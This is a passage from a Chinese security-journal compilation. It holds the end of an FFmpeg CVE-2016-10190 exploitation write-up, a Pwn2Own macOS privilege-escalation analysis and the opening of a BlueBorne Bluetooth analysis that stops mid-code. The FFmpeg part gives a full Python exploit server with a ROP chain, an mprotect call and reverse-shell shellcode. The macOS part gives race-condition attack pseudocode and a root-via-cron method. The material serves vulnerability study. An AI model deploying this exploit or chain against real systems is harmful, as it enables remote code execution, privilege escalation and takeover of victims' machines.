                          s->max_packet_size : IO_BUFFER_SIZE; 

    uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size < s->buffer_size ? 

                          s->buf_end : s->buffer; //控制这个, 如果等于 s->buffer 的话，问题是 heap 

地址不知道 

    int len             = s->buffer_size - (dst - s->buffer); //可控 

 

    /* can't fill the buffer without read_packet, just set EOF if appropriate */ 

    if (!s->read_packet && s->buf_ptr >= s->buf_end) 

        s->eof_reached = 1; 

 

    /* no need to do anything if EOF already reached */ 

    if (s->eof_reached) 

        return; 

 

    if (s->update_checksum && dst == s->buffer) { 

        //... 

    } 

 

    /* make buffer smaller in case it ended up large after probing */ 

    if (s->read_packet && s->orig_buffer_size && s->buffer_size > s->orig_buffer_size) { 

  //... 

    } 

 

    if (s->read_packet) 

        len = s->read_packet(s->opaque, dst, len); 

首先要把栈迁移到堆上，由于堆地址是随机的，我们不知道。所以只能利用当时寄存器或

者内存中存在的堆指针，并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值，

但是打印当前 stack, 可以看到栈上正好有我们需要的堆指针，指向 AVIOContext 结构体的

开头。接下来只要想办法找到 pop rsp; ret 之类的 rop 就可以了 ： 

pwndbg> stack 
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00:0000│ rsp  0x7fffffffd8c0 —▸ 0x7fffffffd900 —▸ 0x7fffffffd930 —▸ 0x7fffffffd9d0 ◂— ... 

01:0008│      0x7fffffffd8c8 —▸ 0x2b4ae00 —▸ 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ◂— add    

rsp, 0x58 

02:0010│      0x7fffffffd8d0 —▸ 0x7fffffffe200 ◂— 0x6 

03:0018│      0x7fffffffd8d8 ◂— 0x83d1d51e00000000 

04:0020│      0x7fffffffd8e0 ◂— 0x8000 

05:0028│      0x7fffffffd8e8 —▸ 0x2b4b168 ◂— 0x6868686868686868 ('hhhhhhhh') 

06:0030│ rbp  0x7fffffffd8f0 —▸ 0x7fffffffd930 —▸ 0x7fffffffd9d0 —▸ 0x7fffffffda40 ◂— ... 

07:0038│      0x7fffffffd8f8 —▸ 0x6cfb2c (avio_read+336) ◂— mov    rax, qword ptr [rbp - 0x18] 

把栈迁移之后，先利用 add rsp, 0x58; ret 这种蹦床把栈拔高，然后执行我们真正的 ROP 

指令。由于 plt 表中有 mprotect, 所以可以先将 0x400000 地址处的 page 权限改为 rwx，

再把 shellcode 写到那边去，然后跳转过去就行了。最终的堆布局如下： 

 

放上最后利用成功的截图 

启动恶意的 Server 
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 客户端连接上 Server 

 

 

成功反弹 shell 

 

最后附上完整的利用脚本，根据漏洞作者的 exp 修改而来 ： 

#!/usr/bin/python 

#coding=utf-8 

 

import re 

import os 

import sys 

import socket 
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import threading 

from time import sleep 

 

from pwn import * 

 

 

bind_ip = '0.0.0.0' 

bind_port = 12345 

 

 

headers = """HTTP/1.1 200 OK 

Server: HTTPd/0.9 

Date: Sun, 10 Apr 2005 20:26:47 GMT 

Content-Type: %s 

Transfer-Encoding: chunked 

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 

 

""" % ('h' * 3120) 

 

""" 

""" 

 

elf = ELF('/home/dddong/bin/ffmpeg_g') 

shellcode_location = 0x00400000 

page_size = 0x1000 

rwx_mode = 7 

 

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) 

pop_rdi = gadget('pop rdi; ret') 

pop_rsi = gadget('pop rsi; ret') 

pop_rax = gadget('pop rax; ret') 

pop_rcx = gadget('pop rcx; ret') 

pop_rdx = gadget('pop rdx; ret') 

pop_rbp = gadget('pop rbp; ret') 

 

leave_ret = gadget('leave; ret') 

pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmp rcx') 
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push_rbx = gadget('push rbx; jmp rdi') 

push_rsi = gadget('push rsi; jmp rdi') 

push_rdx_call_rdi = gadget('push rdx; call rdi') 

pop_rsp = gadget('pop rsp; ret') 

add_rsp = gadget('add rsp, 0x58; ret') 

 

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret') 

 

mprotect_func = elf.plt['mprotect'] 

#read_func = elf.plt['read'] 

 

 

 

def handle_request(client_socket): 

    # 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found) 

 

    # 0x010ccd95: push rbx ; jmp rdi ;  (1 found) 

    # 0x00d89257: pop rsp ; ret  ;  (1 found) 

    # 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found) 

    request = client_socket.recv(2048) 

 

    payload = '' 

    payload += 'C' * (0x8040) 

    payload += 'CCCCCCCC' * 4  

 

    ################################################## 

    #rop starts here  

    payload += p64(add_rsp) # 0x0: 从这里开始覆盖 AVIOContext 

    #payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8: 

    payload += 'CCCCCCCC' * 4 #0x8: buf_ptr 和 buf_end 后面会被覆盖为正确的值 

 

    payload += p64(pop_rsp) # 0x28: 这里是 opaque 指针，可以控制 rdi 和 rcx, s->read_packet(opaque,dst,len) 

    payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是 read_packet 指针，call *%rax 

    payload += 'BBBBBBBB' * 3 #0x38 

    payload += 'AAAA' #0x50 must_flush  

    payload += p32(0) #eof_reached 

    payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0 
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    payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk 

    payload += 'CCCCCCCC' #0x68: checksum_ptr 控制 rdi 

    #payload += p64(push_rdx_call_rdi) #0x70 

    payload += p64(1) #0x70: update_checksum 

    payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size 

 

    # real rop payload starts here 

    # 

    # using mprotect to create executable area 

    payload += p64(pop_rdi) 

    payload += p64(shellcode_location) 

    payload += p64(pop_rsi) 

    payload += p64(page_size) 

    payload += p64(pop_rdx) 

    payload += p64(rwx_mode) 

    payload += p64(mprotect_func) 

 

    # backconnect shellcode x86_64: 127.0.0.1:31337 

    shellcode = 

"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x2

9\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x

c7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\

x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x

2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; 

    shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode 

    shellslices = map(''.join, zip(*[iter(shellcode)]*8)) 

 

    write_location = shellcode_location 

    for shellslice in shellslices: 

        payload += p64(pop_rax) 

        payload += shellslice 

        payload += p64(pop_rdi) 

        payload += p64(write_location) 

        payload += p64(mov_gadget) 

 

        write_location += 8 
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    payload += p64(pop_rbp) 

    payload += p64(4) 

    payload += p64(shellcode_location) 

 

 

    client_socket.send(headers) 

    client_socket.send('-1\n') 

    #raw_input("sleep for a while to avoid HTTPContext buffer problem!") 

    sleep(3) 

    client_socket.send(payload) 

    print "send payload done." 

    client_socket.close() 

 

 

if __name__ == '__main__': 

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 

 

    s.bind((bind_ip, bind_port)) 

    s.listen(5) 

 

    filename = os.path.basename(__file__) 

    st = os.stat(filename) 

 

    print 'start listening at %s:%s' % (bind_ip, bind_port) 

    while True: 

        client_socket, addr = s.accept() 

        print 'accept client connect from %s:%s' % addr 

        handle_request(client_socket) 

        if os.stat(filename) != st: 

            print 'restarted' 

            sys.exit(0) 

5. 反思与总结 

这次的漏洞利用过程让我对 FFmpeg 的源代码有了更为深刻的理解。也学会了如何通过

影响堆布局来简化漏洞利用的过程，如何栈迁移以及编写 ROP。 
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在 pwn 的过程中，阅读源码来搞清楚 malloc 的顺序，使用 gdb 插件（如 libheap）

来显示堆布局是非常重要的，只有这样才能对症下药，想明白如何才能调整堆的布局。如果能

够有插件显示每一个 malloc chunk 的函数调用栈就更好了，之后可以尝试一下 GEF 这个

插件。 

6. 参考资料 

https://trac.ffmpeg.org/ticket/5992 

http://www.openwall.com/lists/oss-security/2017/01/31/12 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190 

官方修复链接：

https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf810229

1e7484aa 

https://security.tencent.com/index.php/blog/msg/116 

Transfer-encoding 介

绍:https://imququ.com/post/transfer-encoding-header-in-http.html 

漏洞原作者的 

exp:https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6 

FFmpeg 源代码结构

图:http://blog.csdn.net/leixiaohua1020/article/details/44220151 

https://docs.pwntools.com/en/stable/index.html 

  

https://trac.ffmpeg.org/ticket/5992
http://www.openwall.com/lists/oss-security/2017/01/31/12
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa
https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa
https://security.tencent.com/index.php/blog/msg/116
https://imququ.com/post/transfer-encoding-header-in-http.html
https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6
http://blog.csdn.net/leixiaohua1020/article/details/44220151
https://docs.pwntools.com/en/stable/index.html
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Pwn2Own 用户空间提权漏洞分析  

作者：shrek_wzw@NirvanTeam 

原文链接：本篇文章首发于安全客季刊 

背景说明 

niklasb 和 saelo 在其博客上介绍了他们是如何通过多个用户空间进程的漏洞，在实现了

Safari 任意代码执行后，进一步实现 Safari 沙盒绕过以及权限提升。本文将对这几个漏洞的原

因和利用方法进行说明。 

漏洞说明 

CVE-2017-2553，diskarbitrationd TOCTOU 导致的绕过权限挂载磁盘 

CVE-2017-2535，Security 框架 authd 的沙盒检查存在缺陷，导致沙盒绕过 

CVE-2017-2534，SpeechSynthesis 框架中的沙盒规则缺陷导致的非法访问 

CVE-2017-6977，nsurlstoraged XPC 服务存在空指针解引用 

漏洞细节 

CVE-2017-2553 

漏洞存在于 diskarbitrationd 中，Safari 的沙盒规则允许访问这个服务。这个 daemon

负责磁盘挂载的请求的处理，以 root 权限运行，并且没有沙盒限制。漏洞代码位于

__DARequestMount 函数中，如下 ： 

status = kDAReturnSuccess; // status 初始化为 kDAReturnSuccess 

 

... // 进行一些简单检查，正常情况下不会修改 status 状态 

 

if ( DADiskGetDescription( disk, kDADiskDescriptionVolumePathKey ) == NULL ) 

{ 

    if ( DARequestGetUserUID( request ) ) 

    { 

        CFTypeRef mountpoint; 

        mountpoint = DARequestGetArgument2( request ); 

        if ( mountpoint ) 

        { 

            mountpoint = CFURLCreateWithString( kCFAllocatorDefault, mountpoint, NULL ); 

        } 

https://twitter.com/_niklasb
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        if ( mountpoint ) 

        { 

            char * path; 

            path = ___CFURLCopyFileSystemRepresentation( mountpoint ); // path 为挂载点路径 

            if ( path ) 

            { 

                struct stat st; 

                if ( stat( path, &st ) == 0 )  // 判断挂载点路径是否存在 【1】漏洞点 

                { 

                    if ( st.st_uid != DARequestGetUserUID( request ) )  // 如果挂载点路径 owner 的 uid 和

请求挂载的用户的 uid 不同，则返回 kDAReturnNotPermitted 

                    { 

                        status = kDAReturnNotPermitted; 

                    } 

                } 

                free( path ); 

            } 

            CFRelease( mountpoint ); 

        } 

    } 

} 

if ( status )  

{ 

    DARequestDispatchCallback( request, status ); 

    DAStageSignal( ); 

    return TRUE; 

} 

else 

{    

    ... // 继续进行挂载操作 【2】 

    DARequestSetState( request, kDARequestStateStagedProbe, TRUE ); 

查看上面的【1】，如果挂载点路径 path 不存在，那么 status 变量的值会保持

kDAReturnSuccess 不变，进而进入【2】处，进行正常的挂载操作。这里存在 TOCTOU 的

情况。如果一个挂载点路径在执行【1】代码时不存在，但是在执行【2】代码时又存在的话，

就会导致绕过挂载点路径的 uid 权限成功实现挂载。 

CVE-2017-2553 
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Security 框架 authd 的沙盒检查存在缺陷，漏洞代码如下。在检查一个进程创建的 token

是否允许获取 right 时，判断进程的参数依据是 PID，而 PID 在 macOS 上是在一个特定的范

围内循环使用。如果在调用_verify_sandbox 时，原始 PID 表示的进程已经退出，并且 PID

被另一个不受 sandbox 限制的进程所使用，就会导致 authorization-right-obtain 沙盒规则

被绕过。 ： 

static bool _verify_sandbox(engine_t engine, const char * right) 

{ 

    pid_t pid = process_get_pid(engine->proc); 

    if (sandbox_check(pid, "authorization-right-obtain", SANDBOX_FILTER_RIGHT_NAME, right)) { 

        LOGE("Sandbox denied authorizing right '%s' by client '%s' [%d]", right, 

process_get_code_url(engine->proc), pid); 

        return false; 

    } 

 

    pid = auth_token_get_pid(engine->auth); 

    if (auth_token_get_sandboxed(engine->auth) && sandbox_check(pid, "authorization-right-obtain", 

SANDBOX_FILTER_RIGHT_NAME, right)) { 

        LOGE("Sandbox denied authorizing right '%s' for authorization created by '%s' [%d]", right, 

auth_token_get_code_url(engine->auth), pid); 

        return false; 

    } 

 

    return true; 

} 

CVE-2017-2534 

SpeechSynthesis 框架的 speechsynthesisd 服务提供了一个 API，允许用户指定一个路

径，将会把这个路径作为 CFBundle 从中加载一个 dylib 作为语音识别的插件。

speechsynthesisd 没有对 dylib 进行签名验证，因此可以通过 dylib 加载时的初始化函数实

现任意代码执行。 

但是 speechsynthesisd 服务在沙盒内，有一系列规则限制了其读写的路径。其中，存在

下面这样一条规则，允许对符合下面正则的路径进行访问 ： 

(allow file-read* file-write* (regex #"^(/private)?/var/folders/.+/com\.apple\.speech\.speechsynthesisd.*")) 
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同时，Safari 的沙盒有这样一条的正则规则 ： 

(if (positive? (string-length (param "DARWIN_USER_CACHE_DIR"))) 

    (allow file* (subpath (param “DARWIN_USER_CACHE_DIR")))) 

 

/private/var/folders/<some-random-string>/C/com.apple.WebKit.WebContent+com.apple.Safari 可写 

通过比较两条规则，可以发现，下面这条路径 Safari 和 speechsynthesisd 能够同时任意

读写。如果能够在 Safari 中获得任意代码执行，通过在下面这条路径构造 CFBundle，令

speechsynthesisd 加载，就能够获得 speechsynthesisd 中的任意代码执行的能力 ： 

/private/var/folders/<some-random-string>/C/com.apple.WebKit.WebContent+com.apple.Safari/com.apple.speec

h.speechsynthesisd 

CVE-2017-6977 

nsurlstoraged XPC 服务存在空指针解引用，导致服务崩溃退出。com.apple.cookied

服务在 CFNetwork 中的__nsurlstoraged_main 中注册。在消息的回调处理中，接收 XPC 字

典，判断 key 为 kCFNCookieServerMessageTypeKey 的 value，调用特定的函数。当

kCFNCookieServerMessageTypeKey 的值为 4 时，会调用 setCookie 函数，问题代码如下，

deleteCookie 函数也存在相同问题 ： 

  v2 = a2; 

  v3 = createXPCData(a2, (__int64)”kCFNCookieServerOneCookieBytesKey"); //a2 为攻击者传入的 XPC 字典, v3

为 NULL 

  …… 

  v7 = result; 

  if ( result ) 

  { 

    v8 = (_DWORD *)CFDataGetBytePtr(v3, v4); // 对 NULL 调用 CFDataGetBytePtr，导致崩溃 

    v9 = (DiagnosticLogging *)DiagnosticLogging::newMsg(&__block_literal_global_37_1, 2LL); 

    if ( v9 

      && (*(unsigned __int8 (__fastcall **)(DiagnosticLogging *, const char *, _QWORD))(*(_QWORD *)v9 + 

16LL))( 

           v9, 

           "SetCookie", 

           0LL) ) 

漏洞利用说明 

diskarbitrationd TOCTOU 漏洞挂载磁盘至任意路径的方法 
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通过上一章节的描述，我们知道 diskarbitrationd 存在 TOCTOU 的漏洞。可以通过如下

形式的攻击伪代码实现绕过权限的挂载，例如将磁盘挂载到/etc，这个路径在没有 root 权限

的情况下是无法将磁盘挂载到上面的 ： 

disk = "/dev/some-disk-device" 

 

Thread1: 

   while true: 

      create symlink "/tmp/foo" pointing to "/" 

      remove symlink 

 

Thread2: 

 while disk not mounted at "/etc": 

    send IPC request to diskarbitrationd to mount disk to "/tmp/foo/etc" 

通过符号链接的 race，在一定时间后会触发 TOCTOU 的漏洞，成功将 disk 挂载到/etc

路径下。接下来考虑如何利用这种跨权限挂载，实现提权，需要解决两个问题： 

（1）被挂载的磁盘普通用户是否可写？ 

（2）将磁盘挂载到哪个目录？ 

问题（1）的答案：macOS 在默认情况下，存在/dev/disk0s1，EFI 分区，文件系统格式

是 FAT32，因此这个分区没有 UNIX 的权限限制，任意用户都可以读写。 

问题（2）的答案：macOS 上存在 cron 服务，在默认情况下不会运行，但是当 crontab

文件在/var/at/tabs 中被创建时，launchd 就会启动 cron 服务。因此，我们只要将磁盘挂载

到/var/at/tabs 路径下，并且创建/var/at/tabs/root 文件，写入需要执行的命令，例如: “* * 

* * * touch /tmp/pwned”。cron 就会以 root 权限，每隔一分钟运行一次这条命令，足以

获取 root shell。 

Safari 沙盒限制绕过 

在 Safari 中实现磁盘挂载，需要有四个条件： 

（1）能够访问 diskarbitrationd 服务（成立，Safari 沙盒规则允许） ： 

(allow mach-lookup 

       (global-name "com.apple.DiskArbitration.diskarbitrationd") 

       (global-name "com.apple.FileCoordination") 

       (global-name "com.apple.FontObjectsServer") 
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       ... 

（2）能够对某个目录任意写入（成立，Safari 沙盒规则允许） ： 

(if (positive? (string-length (param "DARWIN_USER_CACHE_DIR"))) 

    (allow file* (subpath (param “DARWIN_USER_CACHE_DIR")))) 

 

/private/var/folders/<some-random-string>/C/com.apple.WebKit.WebContent+com.apple.Safari 可写 

可以将 EFI 分区挂载到这个目录，写入 root 文件后，再将 EFI 分区挂载到/var/at/tabs/。 

（3）能够进行磁盘挂载（不成立，Safari 沙盒规则不允许） 

挂载磁盘的进程需要获取 authorization token，并且拥有

system.volume.internal.mount 权限。然而 Safari 的沙盒规则不允许获取权限。 

（4）能够创建符号链接（不成立，Safari 沙盒规则不允许） ： 

(if (defined? 'vnode-type) 

        (deny file-write-create (vnode-type SYMLINK))) 

因此，为了绕过 Safari 的沙盒实现提权，还需要解决（3）和（4）这两个问题。 

条件（3）的解决方法：通过 CVE-2017-2534 在 speechsynthesisd 中获得任意代码执

行，在这个进程中创建 authorization token（speechsynthesisd 的 PID 绑定），将这个 token

导入到 Safari 中（token 可以在进程间进行传递），由于 speechsynthesisd 和 Safari 都在沙

盒中，这时的 token 还无法获得磁盘挂载的权限。退出 dylib 注入的 speechsynthesisd 进程，

并尝试进行 PID 的“feng shui”。在 PID 布局完成后，触发 nsurlstoraged 的空指针解引用，

令其崩溃重启，试图让重启后的 nsurlstoraged 的 PID 复用原 speechsynthesisd 的 PID。这

样就使得创建的 token 与 nsurlstoraged 相匹配，在 Safari 尝试挂载磁盘时，由于

nsurlstoraged 不在沙盒内并且是普通用户的权限，拥有挂载磁盘的 right，成功解决 Safari

挂载磁盘的问题。 

条件（4）的解决方法：在 speechsynthesisd 中获得任意代码执行的权限后，由于沙盒

没有限制其创建符号链接，因此我们可以通过 speechsynthesisd 进行符号链接的创建，实现

diskarbitrationd 挂载磁盘时的 TOCTOU race。 

利用流程图 

通过上文的 1、2 两条说明，已经具备了在 Safari 中获得任意代码执行后，进一步提升权

限是 root 的条件。下面是攻击的流程图，代码细节可以参考作者的源码。 
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思

考 

在完成了对这几个漏洞利用的分析后，对作者的攻击思路十分佩服。除了 nsurlstoraged

的空指针解引用漏洞外，其他漏洞都属于逻辑漏洞，这就需要对一些系统机制比较了解，才能

设计出这样一套稳定的攻击流。 
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根据他们在博客中文章的描述，他们应该是先发现了 diskarbitrationd 的漏洞，然后分析

需要满足哪些条件才能在 Safari 中实现磁盘挂载。针对这些条件，有目的性地挖掘 authd、

speechsynthesisd、nulstoraged 中的漏洞。这也体现了他们在漏洞利用能力上的功底，给

定一个目标，能够得到想要的结果。 

Reference 

https://phoenhex.re 

https://opensource.apple.com/tarballs/DiskArbitration/DiskArbitration-288.1.1.ta

r.gz 

https://opensource.apple.com/tarballs/Security/Security-57740.31.2.tar.gz 

 

  

https://phoenhex.re/
https://opensource.apple.com/tarballs/DiskArbitration/DiskArbitration-288.1.1.tar.gz
https://opensource.apple.com/tarballs/DiskArbitration/DiskArbitration-288.1.1.tar.gz
https://opensource.apple.com/tarballs/Security/Security-57740.31.2.tar.gz
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BlueBorne 蓝牙漏洞深入分析与 PoC 

作者：huahuaisadog@360VulpeckerTeam 

原文链接：【安全客】http://bobao.360.cn/learning/detail/4495.html   

0x00 

前些天，armis 爆出了一系列蓝牙的漏洞，无接触无感知接管系统的能力有点可怕，而且

基本上影响所有的蓝牙设备，危害不可估量，可以看这里

（https://www.armis.com/blueborne/  ）来了解一下它的逆天能力：只要手机开启了蓝牙，

就可能被远程控制。现在手机这么多，利用这个漏洞写出蠕虫化的工具，那么可能又是一个手

机版的低配 wannacry 了。我们 360Vulpecker Team 在了解到这些相关信息后，快速进行了

跟进分析。 armis 给出了他们的 whitepaper，对蓝牙架构和这几个漏洞的分析可以说非常详

尽了，先膜一发。不过他们没有给出这些漏洞的 PoC 或者是 exp，只给了一个针对 Android

的“BlueBorne 检测 app"，但是逆向这个发现仅仅是检测了系统的补丁日期。于是我来拾一

波牙慧，把这几个漏洞再分析一下，然后把 poc 编写出来：  

* CVE-2017-1000250 Linux bluetoothd 进程信息泄露  

* CVE-2017-1000251 Linux 内核栈溢出  

* CVE-2017-0785 Android com.android.bluetooth 进程信息泄露  

* CVE-2017-0781 Android com.android.bluetooth 进程堆溢出  

* CVE-2017-0782 Android com.android.bluetooth 进程堆溢出 

以上 PoC 代码均在 

https://github.com/marsyy/littl_tools/tree/master/bluetooth   

由于也是因为这几个漏洞才从零开始搞蓝牙，所以应该有些分析不到位的地方，还请各路

大牛斧正。 

0x01 蓝牙架构及代码分布 

这里首先应该祭出 armis 的 paper 里的图： 

http://bobao.360.cn/learning/detail/4495.html
https://github.com/marsyy/littl_tools/tree/master/bluetooth
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图上把蓝牙的各个层次关系描述得很详尽，不过我们这里暂时只需要关心这么几层：HCI，

L2CAP，BNEP，SDP。BNEP 和 SDP 是比较上层的服务，HCI 在最底层，直接和蓝牙设备打

交道。而承载在蓝牙服务和底层设备之间的桥梁，也就是 L2CAP 层了。每一层都有它协议规

定的数据组织结构，所有层的数据包组合在一起，就是一个完整的蓝牙包（一个 SDP 包为例）： 
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虽然协议规定的架构是图上说的那样，但是具体实现是有不同的，Linux 用的 BlueZ，而

现在的 Android 用的 BlueDroid，也就针对这两种架构说一说代码的具体分布。 

BlueZ 

在 Linux 里，用的是 BlueZ 架构，由 bluetoothd 来提供 BNEP,SDP 这些比较上层的服

务，而 L2CAP 层则是放在内核里面。对于 BlueZ 我们对 SDP 和 L2CAP 挨个分析。  

1，实现 SDP 服务的代码在代码目录的/src/sdp，其中 sdp-client.c 是它的客户端，

sdp-server.c 是它的服务端。我们要分析的漏洞都是远程的漏洞，所以问题是出在服务端里面，

我们重点关注服务端。而服务端最核心的代码，应该是它对接受到的数据包的处理的过程，这

个过程由 sdp-request.c 来实现。当 L2CAP 层有 SDP 数据后，会触发 sdp-server.c 的

io_session_event 函数，来获取这个数据包，交由 sdp-request.c 的 handle_request 函数处

理(怎么处理的，后续漏洞分析的时候再讲)： 

static gboolean io_session_event(GIOChannel *chan, GIOCondition cond, gpointer data) 

{ 

    ... 

    len = recv(sk, &hdr, sizeof(sdp_pdu_hdr_t), MSG_PEEK); //获取 SDP 的头部数据，获得 SDP 数据大小 

    if (len < 0 || (unsigned int) len < sizeof(sdp_pdu_hdr_t)) { 

        sdp_svcdb_collect_all(sk); 

        return FALSE; 

    } 

  

    size = sizeof(sdp_pdu_hdr_t) + ntohs(hdr.plen); 

    buf = malloc(size); 



  安全客-2017 年季刊-第 3 期 

—259— 
 

    if (!buf) 

        return TRUE; 

  

    len = recv(sk, buf, size, 0);  //获得完整数据包 

    ... 

    handle_request(sk, buf, len); 

  

    return TRUE; 

} 

2，L2CAP 层的代码在内核里，这里我以 Linux 4.2.8 这份代码为例。l2cap 层主要由 

/net/bluetooth/l2capcore.c 和/net/bluetooth/l2cap_sock.c 来实现。l2cap_core.c 实现了

L2CAP 协议的主要内容，l2cap_sock.c 通过注册 sock 协议的方式提供了这一层针对

userspace 的接口。同样的我们关心一个 L2CAP 对接受到数据包后的处理过程，L2CAP 的数

据是由 HCI 层传过来的，在 hci_core.c 的 hci_rx_work 函数里  

static void hci_rx_work(struct work_struct *work) 

{ 

      

    while ((skb = skb_dequeue(&hdev->rx_q))) { 

        /* Send copy to monitor */ 

        hci_send_to_monitor(hdev, skb); 

  

        ... 

        switch (bt_cb(skb)->pkt_type) { 

        case HCI_EVENT_PKT: 

            BT_DBG("%s Event packet", hdev->name); 

            hci_event_packet(hdev, skb); 

            break; 

  

        case HCI_ACLDATA_PKT: 

            BT_DBG("%s ACL data packet", hdev->name); 

            hci_acldata_packet(hdev, skb); 

            break; 

  

        case HCI_SCODATA_PKT: 

            BT_DBG("%s SCO data packet", hdev->name); 

            hci_scodata_packet(hdev, skb); 
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            break; 

  

        default: 

            kfree_skb(skb); 

            break; 

        } 

    } 

} 

收到数据后，会判断 pkt_type，符合 L2CAP 层的 type 是 HCI_ACLDATA_PKT，函数会

走到 hci_acldata_packet，这个函数会把 HCI 的数据剥离之后，把 L2CAP 数据交给 L2CAP

层的 l2cap_recv_acldata： 

static void hci_acldata_packet(struct hci_dev *hdev, struct sk_buff *skb) 

{ 

    ... 

    skb_pull(skb, HCI_ACL_HDR_SIZE); 

    ... 

    if (conn) { 

        hci_conn_enter_active_mode(conn, BT_POWER_FORCE_ACTIVE_OFF); 

  

        /* Send to upper protocol */ 

        l2cap_recv_acldata(conn, skb, flags); 

        return; 

    } else { 

        BT_ERR("%s ACL packet for unknown connection handle %d", 

               hdev->name, handle); 

    } 

  

    kfree_skb(skb); 

} 

同样的，对于 L2CAP 层对数据的细致处理，我们还是等后续和漏洞来一块进行分析。 

BlueDroid 

在现在的 Android 里，用的是 BlueDroid 架构。这个和 BlueZ 架构有很大不同的一点是：

BlueDroid 将 L2CAP 层放在了 userspace。SDP，BNEP，L2CAP 统统都由

com.android.bluetooth 这个进程管理。而 BlueDroid 代码的核心目录在 Android 源码目录
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下的 /sytem/bt ，这个目录的核心产物是 bluetooth.default.so，这个 so 集成所有 Android

蓝牙相关的服务，而且这个 so 没有导出任何相关接口函数，只导出了几个协议相关的全局变

量供使用，所以想根据 so 来本地检测本机是否有 BlueDrone 漏洞，是一件比较困难的事情。

对于 BlueDroid，由于 android 的几个漏洞出在 BNEP 服务和 SDP 服务，所以也就主要就针

对这两块。值得注意的是，在 Android 里，不论是 64 位还是 32 位的系统，这个

bluetooth.default.so 都是用的 32 位的。文章里这部分代码都基于 Android7.1.2 的源码。  

1，BlueDroid 的 SDP 服务的代码，在/system/bt/stack/sdp 文件夹里，其中 sdp 服务

端对数据包的处理由 sdp-server.c 实现。SDP 连接建立起来后，在收到 SDP 数据包之后呢，

会触发回调函数 sdp_data_ind，这个函数会把数据包交个 sdp-server.c 的

sdp_server_handle_client_req 函数进行处理:  

static void sdp_data_ind (UINT16 l2cap_cid, BT_HDR *p_msg) 

{ 

    tCONN_CB    *p_ccb; 

    if ((p_ccb = sdpu_find_ccb_by_cid (l2cap_cid)) != NULL) 

    { 

        if (p_ccb->con_state == SDP_STATE_CONNECTED) 

        { 

            if (p_ccb->con_flags & SDP_FLAGS_IS_ORIG) 

                sdp_disc_server_rsp (p_ccb, p_msg); 

            else 

                sdp_server_handle_client_req (p_ccb, p_msg); 

        } 

    ... 

} 

2，BlueDroid 的 BNEP 服务的代码主要在/system/bt/stack/bnep/bnepmain.c。BNEP

连接建立起来后，再收到 BNEP 的包，和 SDP 类似，会触发回调函数 bnep_data_ind，这个

函数包含了所有对 BNEP 请求的处理，漏洞也是发生在这里，具体的代码我们后续会分析。 

0x02 漏洞分析以及 PoC 写法 

蓝牙的预备知识差不多了，主要是找数据包的入口。我们再基于漏洞和 PoC 的编写过程

来详细分析其中的处理过程，和相关蓝牙操作的代码该怎么写。 

CVE-2017-1000251 
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这个是 Linux L2CAP 层的漏洞，那么就是内核里面的。先不着急看漏洞，先看 L2CAP 层

如何工作。在一个 L2CAP 连接的过程中，我们抓取了它的数据包来分析，L2CAP 是怎么建立

起连接的：  

 

我们注意这么几个包： sent_infomation_request , send_connection_request, 

send_configure_request。抓包可以看到，在一次完整的 L2CAP 连接的建立过程中，发起连

接的机器，会主动送出这么几个包。其中 infomation_request 是为了得到对方机器的名称等

信息，connection_request 是为了建立 L2CAP 真正的连接，主要是为了确定双方的

CHANNEL ID，后续的数据包传输都要跟着这个 channel id 走（图上的 SCID, DCID），这个

channel 也就是我们所说的连接。在 connection_request 处理完毕之后，连接状态将变成 

BT_CONNECT2 。随后机器会发起 configure_request,这一步就到了 armis 的 paper 第十页

所说的 configuration  process:  
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这个过程完成后，整个 L2CAP 层的连接也就建立完成。 

从上述过程看，可以发现 L2CAP 层连接的建立，主要是对上述三个请求的发起和处理。

而我们的漏洞，也其实就发生在 configuration  process。我们先分析接收端收到这三个请

求后，处理的逻辑在哪里，也就是我们前文提到的 L2CAP 对接受到的数据的处理过程：  

1，在 l2cap_recv_acldata 接收到数据后，数据包会传给 l2cap_recv_frame  

2，l2cap_recv_frame 会取出检查 L2CAP 的头部数据，然后检查根据头部里的 cid 字段，

来选择处理逻辑：  

static void l2cap_recv_frame(struct l2cap_conn *conn, struct sk_buff *skb) 

{ 

    ... 

    skb_pull(skb, L2CAP_HDR_SIZE); 

    cid = __le16_to_cpu(lh->cid); 

    len = __le16_to_cpu(lh->len); 
